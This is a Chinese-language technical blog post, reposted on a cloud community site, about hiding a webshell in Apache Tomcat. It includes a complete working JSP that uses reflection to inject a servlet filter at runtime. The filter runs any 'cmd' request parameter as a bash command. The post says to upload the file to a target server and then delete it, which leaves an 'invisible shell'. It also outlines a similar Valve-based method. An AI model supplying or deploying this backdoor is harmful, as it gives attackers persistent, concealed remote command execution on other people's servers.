閱讀293 返回首頁    go 阿裏雲 go 技術社區[雲棲]

Tomcat源代碼調試：看不見的Shell第一式

抱著隱藏 shell 的目的去調試的 tomcat 的代碼。我調試了tomcat 從接收到一個socket 到解析socket 並封裝成Request 轉發至 Jsp/Servlet 的全過程，找到了兩個較為容易實現的方法(肯定還有其它的方法)，這裏記錄一其中一個。另一個也很類似所以隻記錄一下思路。

1. 運行時動態插入過濾器

過濾器的基礎概念以及作用這裏不寫了。

Servlet 規範(應該是從3.0 開始)裏麵本身規定了一個名為ServletContext 的接口，其中有三個重載方法：



    

  1. FilterRegistration.Dynamic addFilter(String filterName,String className)  
    2. 

  2. FilterRegistration.Dynamic addFilter(String filterName,Filter filter)  
    3. 

  3. FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)  
    4. 



這三個方法使得我們可以在運行時動態地添加過濾器。


Tomcat 對 ServletContext 接口的實現類為：org.apache.catalina.core.ApplicationContextFacade


但是並沒有簡單到直接調用一下這可以實現，因為 Tomcat 在對這個接口的實現中，是隻允許在容器還沒有初始化完成的時候調用這幾個方法。一旦容器初始化已經結束，調用時就會出現異常：




我看了一下這個 if
之後的語句，並不是太複雜，這使得我們完全可以自己用代碼來執行後麵的邏輯。寫的過程也沒有太順利，我完全複製了後麵的邏輯，但是動態插入過濾器卻沒有生效。所以去重新調試了一遍tomcat
接收處理請求的全過程，發現為請求組裝filterChain 是在 StandardWrapperValve 裏麵進行的：




真正的組裝方法位於：




  1. org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 


代碼太長不截圖了，有興趣的可以自己去看。


組裝完成後開始調用過濾器鏈。




我將
org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
方法內的細節與自己寫的插入過濾器的細節做了對比，得出下麵這個可以在Tomcat 8 (Tomcat 7 上的話需要小改一下)下實現我想要的目的
Jsp文件。直接看代碼吧：




    

  1. 
<%@ page language="java" contentType="text/html; charset=UTF-8" 
    2. 

  2.     pageEncoding="UTF-8"%> 
    3. 

  3. 
<%@ page import="java.io.IOException"%> 
    4. 

  4. 
<%@ page import="javax.servlet.DispatcherType"%> 
    5. 

  5. 
<%@ page import="javax.servlet.Filter"%> 
    6. 

  6. 
<%@ page import="javax.servlet.FilterChain"%> 
    7. 

  7. 
<%@ page import="javax.servlet.FilterConfig"%> 
    8. 

  8. 
<%@ page import="javax.servlet.FilterRegistration"%> 
    9. 

  9. 
<%@ page import="javax.servlet.ServletContext"%> 
    10. 

  10. 
<%@ page import="javax.servlet.ServletException"%> 
    11. 

  11. 
<%@ page import="javax.servlet.ServletRequest"%> 
    12. 

  12. 
<%@ page import="javax.servlet.ServletResponse"%> 
    13. 

  13. 
<%@ page import="javax.servlet.annotation.WebServlet"%> 
    14. 

  14. 
<%@ page import="javax.servlet.http.HttpServlet"%> 
    15. 

  15. 
<%@ page import="javax.servlet.http.HttpServletRequest"%> 
    16. 

  16. 
<%@ page import="javax.servlet.http.HttpServletResponse"%> 
    17. 

  17. 
<%@ page import="org.apache.catalina.core.ApplicationContext"%> 
    18. 

  18. 
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%> 
    19. 

  19. 
<%@ page import="org.apache.catalina.core.StandardContext"%> 
    20. 

  20. 
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%> 
    21. 

  21. 
<%@ page import="org.apache.catalina.Context"%> 
    22. 

  22. 
<%@ page import="java.lang.reflect.*"%> 
    23. 

  23. 
<%@ page import="java.util.EnumSet"%> 
    24. 

  24. 
<%@ page import="java.util.Map"%> 
    25. 

  25.  
    26. 

  26.  
    27. 

  27. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "https://www.w3.org/TR/html4/loose.dtd"> 
    28. 

  28. 
<html> 
    29. 

  29. 
<head> 
    30. 

  30. 
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
    31. 

  31. 
<title>Insert title here</title> 
    32. 

  32. 
</head> 
    33. 

  33. 
<body> 
    34. 

  34. 
<% 
    35. 

  35. final String name = "n1ntyfilter"; 
    36. 

  36.  
    37. 

  37. ServletContext ctx = request.getSession().getServletContext(); 
    38. 

  38. Field f = ctx.getClass().getDeclaredField("context"); 
    39. 

  39. f.setAccessible(true); 
    40. 

  40. ApplicationContext appCtx = (ApplicationContext)f.get(ctx); 
    41. 

  41.  
    42. 

  42. 
f = appCtx.getClass().getDeclaredField("context"); 
    43. 

  43. f.setAccessible(true); 
    44. 

  44. StandardContext standardCtx = (StandardContext)f.get(appCtx); 
    45. 

  45.  
    46. 

  46.  
    47. 

  47. 
f = standardCtx.getClass().getDeclaredField("filterConfigs"); 
    48. 

  48. f.setAccessible(true); 
    49. 

  49. Map filterConfigs = (Map)f.get(standardCtx); 
    50. 

  50.  
    51. 

  51. if (filterConfigs.get(name) == null) { 
    52. 

  52.    out.println("inject "+ name); 
    53. 

  53.     
    54. 

  54.    Filter filter = new Filter() { 
    55. 

  55.       @Override 
    56. 

  56.       public void init(FilterConfig arg0) throws ServletException { 
    57. 

  57.          // TODO Auto-generated method stub 
    58. 

  58.       } 
    59. 

  59.        
    60. 

  60.       @Override 
    61. 

  61.       public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) 
    62. 

  62.             throws IOException, ServletException { 
    63. 

  63.          // TODO Auto-generated method stub 
    64. 

  64.          HttpServletRequest req = (HttpServletRequest)arg0; 
    65. 

  65.          if (req.getParameter("cmd") != null) { 
    66. 

  66.             byte[] data = new byte[1024]; 
    67. 

  67.             Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start(); 
    68. 

  68.             int len = p.getInputStream().read(data); 
    69. 

  69.             p.destroy(); 
    70. 

  70.             arg1.getWriter().write(new String(data, 0, len)); 
    71. 

  71.             return; 
    72. 

  72.          }  
    73. 

  73.          arg2.doFilter(arg0, arg1); 
    74. 

  74.       } 
    75. 

  75.        
    76. 

  76.       @Override 
    77. 

  77.       public void destroy() { 
    78. 

  78.          // TODO Auto-generated method stub 
    79. 

  79.       } 
    80. 

  80.    }; 
    81. 

  81.     
    82. 

  82.    FilterDef filterDef = new FilterDef(); 
    83. 

  83.     filterDef.setFilterName(name); 
    84. 

  84.     filterDef.setFilterClass(filter.getClass().getName()); 
    85. 

  85.     filterDef.setFilter(filter); 
    86. 

  86.      
    87. 

  87.     standardCtx.addFilterDef(filterDef); 
    88. 

  88.     
    89. 

  89.    FilterMap m = new FilterMap(); 
    90. 

  90.    m.setFilterName(filterDef.getFilterName()); 
    91. 

  91.    m.setDispatcher(DispatcherType.REQUEST.name()); 
    92. 

  92.    m.addURLPattern("/*"); 
    93. 

  93.     
    94. 

  94.     
    95. 

  95.    standardCtx.addFilterMapBefore(m); 
    96. 

  96.     
    97. 

  97.     
    98. 

  98.    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 
    99. 

  99.    constructor.setAccessible(true); 
    100. 

  100.    FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); 
    101. 

  101.     
    102. 

  102.     
    103. 

  103.     filterConfigs.put(name, filterConfig); 
    104. 

  104.      
    105. 

  105.     out.println("injected"); 
    106. 

  106. } 
    107. 

  107. %> 
    108. 

  108. 
</body> 
    109. 

  109. 
</html> 
    110. 



將以上 JSP 文件上傳至目標服務器命名為 n1ntyfilter.jsp，訪問後如果看到“injected”
字樣，說明我們的過濾器已經插入成功，隨後可以將此 jsp 文件刪掉。隨後，任何帶有 cmd 參數的請求都會被此過濾器攔下來，並執行 shell
命令，達到“看不見的 shell”的效果。




2. 動態插入 Valve


Valve 是 Tomcat 中的用於對Container
組件(Engine/Host/Context/Wrapper)進行擴展一種機製。通常是多個Valve組裝在一起放在Pipeline
裏麵。Tomcat 中 Container 類型的組件之間的上下級調用基本上都是通過pipeline 與 valve 完成的。如果你熟悉
Struts2 中的攔截器機製，那麼你會很容易理解valve + pipeline 的動作方式。Pipeline
就相當於攔截器鏈，而valve就相當於攔截器。


Valve 接口定義了如下的 invoke 方法：




    

  1. publicvoid invoke(Request request, Response response) 
    2. 

  2.     throws IOException, ServletException; 
    3. 



我們隻需在運行時向 Engine/Host/Context/Wrapper 這四種 Container 組件中的任意一個的pipeline
中插入一個我們自定義的 valve，在其中對相應的請求進行攔截並執行我們想要的功能，就可以達到與上麵Filter 的方式一樣的效果。而且
filter 隻對當前context 生效，而valve 如果插到最頂層的container 也就是 Engine，則會對 Engine
下的所有的context 生效。


以上兩種方式，利用的時候都必須是通過 HTTP
的方式去真正地發起一個請求，因為在這些流程之前，Tomcat會檢查接收自socket的前幾個字節是不是符合HTTP
協議的要求，雖然被請求的文件可以不存在。如果想利用非HTTP 協議，則需要在tomcat 的Connector
上做手腳，這個複雜度就比以上兩種方式要高很多了。


以上兩種方式都會在 Tomcat 重啟後失效。





本文作者：n1nty


來源：51CTO


最後更新：2017-11-02 15:34:06
  上一篇：go  數據安全隱私保護九大解決之道 
  下一篇：go  輕鬆實現日誌可視化？— 95後阿裏雲 MVP 王鵬翰的答案